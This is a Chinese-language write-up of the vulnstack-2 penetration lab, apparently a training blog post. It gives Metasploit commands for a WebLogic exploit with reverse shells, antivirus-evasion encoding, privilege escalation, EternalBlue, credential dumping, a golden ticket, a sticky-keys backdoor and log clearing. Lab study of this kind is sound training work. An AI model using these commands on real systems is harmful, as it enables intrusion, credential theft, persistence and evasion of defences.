写点什么

记录渗透靶场实战【网络安全】

发布于: 1 小时前

第一次写靶场实战的文章,有不足之处还请多多指教。本次实战的靶场是红日安全 vulnstack 系列的第二个靶场。


靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

环境搭建

网络环境

网卡配置

只需要在 VM 上选择对应网卡即可,不需要在靶机中进行配置。


DC


IP:10.10.10.10 (VMnet5)OS:Windows 2012(x64)
复制代码


WEB


IP1:192.168.111.80 (VMnet6)IP2:10.10.10.80 (VMnet5)OS:Windows 2008(x64)
复制代码


PC


IP1:192.168.111.201 (VMnet6)IP2:10.10.10.201 (VMnet5)OS:Windows 7(x86)
复制代码

开启靶场

进入C:\Oracle\Middleware\user_projects\domains\base_domain目录下,双击 startWebLogic 开启服务。


外网渗透

我们已知当前 Web 服务器的公网 IP 为 192.168.111.80,对 Web 服务器进行端口扫描,以期发现是否有可以利用的端口服务,从而突破边界。

端口扫描

nmap -sV -Pn -T4 192.168.111.80
复制代码



【一>所有资源获取<一】1、200 多本网络安全系列电子书(该有的都有了)2、全套工具包(最全中文版,想用哪个用哪个)3、100 份 src 源码技术文档(项目学习不停,实践得真知)4、网络安全基础入门、Linux、web 安全、攻防方面的视频(2021 最新版)5、网络安全学习路线(告别不入流的学习)6、ctf 夺旗赛解析(题目解析实战操作)

漏洞探测

通过端口扫描我们发现 Web 服务器开启了 80、7001 等端口,其他端口如 445、1433、3389 等也可以使用一些 RCE 漏洞或弱口令直接进入 Web 服务器。这里我们先访问 Web 服务,发现 80 端口页面是空白的,在 7001 端口我们发现 Web 服务器开启了 Weblogic,尝试使用 WeblogicScan 脚本探测漏洞:


python3 WeblogicScan.py -u 192.168.111.80 -p 7001
复制代码


漏洞利用

通过脚本探测发现存在 CVE-2019-2725,我们可以使用网上的 exp,这里我们使用 msf 自带的漏洞利用模块:


use exploit/multi/misc/weblogic_deserialize_asyncresponseserviceset target Windowsset payload windows/x64/meterpreter/reverse_tcpset rhosts 192.168.111.80set lhost 192.168.111.128run
复制代码



这里还需要在 advanced 选项中对 payload 进行简单的编码:


setg EnableStageEncoding truesetg StageEncoder x64/zutto_dekiru
复制代码



成功返回 meterpreter。


这里我们做编码的目的是为了绕过 360,网上也有一些其它免杀的方式,大家可以自行学习,这里使用的 msf 的自免杀,使用 x64/zutto_dekiru 编码绕过。

权限提升

在我们成功返回 shell 后,发现我们当前是普通用户权限,如果要完全控制这台机器,需要进一步提权。


切换目录到 C:\Users\de1ay 下,使用 meterpreter 上传 Sherlock 脚本:


cd C:/Users/de1ayupload Sherlock.ps1
复制代码


[图片上传中...(image-d1bca3-1636183507751-34)]


进入 shell 模式,使用 Sherlock 脚本探测可用于本地提权的漏洞:


powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"
复制代码



这里我们通过 Sherlock 脚本发现存在 MS15-051 相关漏洞,使用 msf 自带的利用模块提权:


use exploit/windows/local/ms15_051_client_copy_imageset payload windows/x64/meterpreter/reverse_tcpset session 1set target Windows x64set lhost 192.168.111.128run
复制代码



提权成功:



至此,我们已经成功拿下了边界服务器的控制权,可以进一步深入内网了。

内网渗透

在进入内网后,我们要明确自己的目标,由于该靶场没有 flag 需要获取,所以我们的目标就是拿下整个域的控制权,明确了目标后,我们就可以针对目标进行信息收集了。

信息收集

systeminfo
复制代码



ipconfig /all
复制代码



通过查询主机信息和网络信息,我们发现该服务器主机名为 WEB,处于域环境,并且有两张网卡,其内网网段为 10.10.10.0/24,主 DNS 服务器 IP 为 10.10.10.10,在域环境中,域控制器往往同时作为 DNS 服务器,由此判断,我们要找的域控制器 IP 很可能就是 10.10.10.10


net usernet user /domainnet time /domain
复制代码



通过查询用户信息,我们获取了域成员信息,并可基本做出判断域控制器的主机名为 DC


ping DC
复制代码



通过对 DC 使用 ping 命令,我们发现其 IP 为 10.10.10.10,由此我们最终做出判断该域环境中的域控制器主机名为 DC,内网 ip 地址为:10.10.10.10,并且我们目前控制的这台 Web 服务器可以访问域控制器


net group "Domain Admins" /domain
复制代码



net group "domain computers" /domain
复制代码



ping PC
复制代码



这里我们通过 ping PC 发现 PC 机的 ip 为 10.10.10.201,但是没有返回数据,说明此处防火墙禁止了 ICMP 协议,在后面对 PC 机进行内网渗透时可以考虑其它协议。


至此,我们已经初步完成了内网信息收集:


该靶场为域环境:de1ay.com该靶场存在三台主机:DC、PC、WEB该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24该靶场的域管理员为:Administrator
复制代码

设置代理

在对内网进行了初步的信息收集后,我们要开始攻击内网主机了,但是内网中的机器和我们的攻击机并不处于同一网络当中,所以要通过 Web 服务器建立代理,这里有很多内网穿透工具可以使用,如 ew、frp、chisel 等,我这里直接使用 msf 建立路由,并开启 socks 代理。


建立路由:route add 10.10.10.0 255.255.255.0 1
复制代码



开启socks代理:use auxiliary/server/socks_proxyset srvhost 127.0.0.1set srvport 9050set version 4arun
复制代码



配置代理工具proxychains4:vim /etc/proxychains4.conf
复制代码



这样,我们就可以使用 msf 以及设置了代理的其它工具攻击内网中的主机了。


在信息收集时,我们使用了 ping 命令简单探测了一下内网连通性,发现 PC 机无法 ping 通,这可能是防火墙阻止了 ICMP 协议,这里我们通过代理使用 nc 命令探测,发现可以连通,说明防火墙并没有阻止 TCP 协议的流量。


proxychains4 nc -zv 10.10.10.80 135proxychains4 nc -zv 10.10.10.201 135
复制代码



发现防火墙并没有拦截 TCP 流量后,我们就可以使用 TCP 协议进行数据传输了。

横向移动

先扫一下端口。



发现两台机器都开起了 445 端口,探测以下是否存在永恒之蓝漏洞:


use auxiliary/scanner/smb/smb_ms17_010set rhosts 10.10.10.10run
复制代码



发现两台主机都存在该漏洞,尝试使用 msf 内置的漏洞利用模块:


use exploit/windows/smb/ms17_010_psexecset rhosts 10.10.10.10set payload windows/x64/meterpreter/bind_tcpset lport 443run
复制代码


域控制器执行成功,域内成员机 PC 执行失败:



至此,我们已成功获得域控制器权限。


域内成员机 PC 我们没有通过永恒之蓝漏洞拿下来,这里采用其它方法,首先我们在之前的 Web 服务器上加载 kiwi,提取服务器上储存的密码:


sessions 2load kiwicreds_all
复制代码



我们成功提取到了两个账号的明文密码,但是这里没有域管理员的账号密码。


这里我们使用 smart_hashdump 模块提取域控中的哈希:


use post/windows/gather/smart_hashdumpset session 3run
复制代码



成功提取到了域内成员的 hash 值,并且我们发现域管理员的 hash 和其它域成员的 hash 相同,这说明域管理员使用了和域成员相同的密码(该靶场存在密码复用,如果密码不相同,我们可以通过哈希传递进行横向移动),这样我们可以就获得了域管理员的账号密码。


我们先使用 msf 生成一个木马:


msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs
复制代码


然后,将该木马上传到已经被我们控制的 web 服务器上:


upload /tmp/msf.vbs
复制代码



进入 shell,与 PC 主机建立 IPC$连接:


net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com
复制代码



将上传的木马复制到 PC 机 C 盘目录下:


copy msf.vbs \\10.10.10.201\c$
复制代码



通过端口扫描我们发现 PC 开启了 3389 端口:



在 msf 上开启监听:


use exploit/multi/handlerset payload windows/meterpreter/bind_tcpset stageencoder x86/shikata_ga_naiset rhosts 10.10.10.201set lport 443run
复制代码



连接 PC 机的远程桌面,使用域管理员账号登录 PC,上线 msf:


proxychains4 rdesktop 10.10.10.201:3389
复制代码



到此,我们已经控制了域内全部主机。


权限维持

在获取了域内全部主机权限后,我们进一步来做权限维持,权限维持的方法很多,这里我们演示两种方式,使用黄金票据来实现域控制器的权限维持,使用粘滞键后门实现 PC 机的权限维持


域控制器权限维持


在之前的信息收集过程中,我们已经成功获取到了 krbtgt 的 hash 值:



因为 PC 机的 session 没有进行提权,并且是域成员账号,可以帮助我们获取域的 SID,所以我们切换到 PC 机的 session,获取域 SID:


whoami /user
复制代码



上传 mimikatz 到 PC 机,进入 PC 的 shell 模式,发现当前用户为普通域成员,无法访问域控制器目录。



使用 mimikatz 生成黄金票据并注入内存:


mimikatz# kerberos::purgemimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribimimikatz# kerberos::ptt administrator.kiribi
复制代码



成功注入内存,我们尝试访问域控制器 C 盘:


dir \\DC\C$
复制代码



发现在将票据注入内存后,可以成功访问域控制器目录,说明黄金票据有效。还有其它域控制器权限维持的方式,这里不进行具体演示了。


粘滞键后门


在 PC 机上使用粘滞键后门前,需要先进行提权。这里同样上传 Sherlock 脚本进行探测利用:



提权成功。


使用 msf 中的后渗透模块添加粘滞键后门:


use post/windows/manage/sticky_keysset session 8run
复制代码


痕迹清除

删除之前上传的 mimikatz 和 Sherlock 脚本。


run event_manager -c
复制代码


结语

关于免杀,我使用的全部是 msf 的编码自免杀,64 位使用的是 x64/zutto_dekiru,32 位使用的是 x86/shikata_ga_nai,360 都没有拦截。虽然靶机中有 360,但是我直接上传的 mimikatz 也没有被杀,所以我有些怀疑是 360 的版本比较低,除了 web 服务器上传的第一个 payload,其它都进行了编码处理,而第一个也确实没有执行成功,这说明 360 至少对第一个 payload 是拦截了的。


本次靶场练习到这里就全部结束了,在权限维持和免杀等方面仍然有很多需要学习的地方,这个靶场总体上比较简单,在横向移动和权限维持等方面还有很多方法可以尝试,由于本人深度沉迷 msf,所以这篇文章中的整个渗透过程都是基于 msf 进行的,大家也可以多多尝试其它工具和方法,比如 CS、Empire 等等。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
记录渗透靶场实战【网络安全】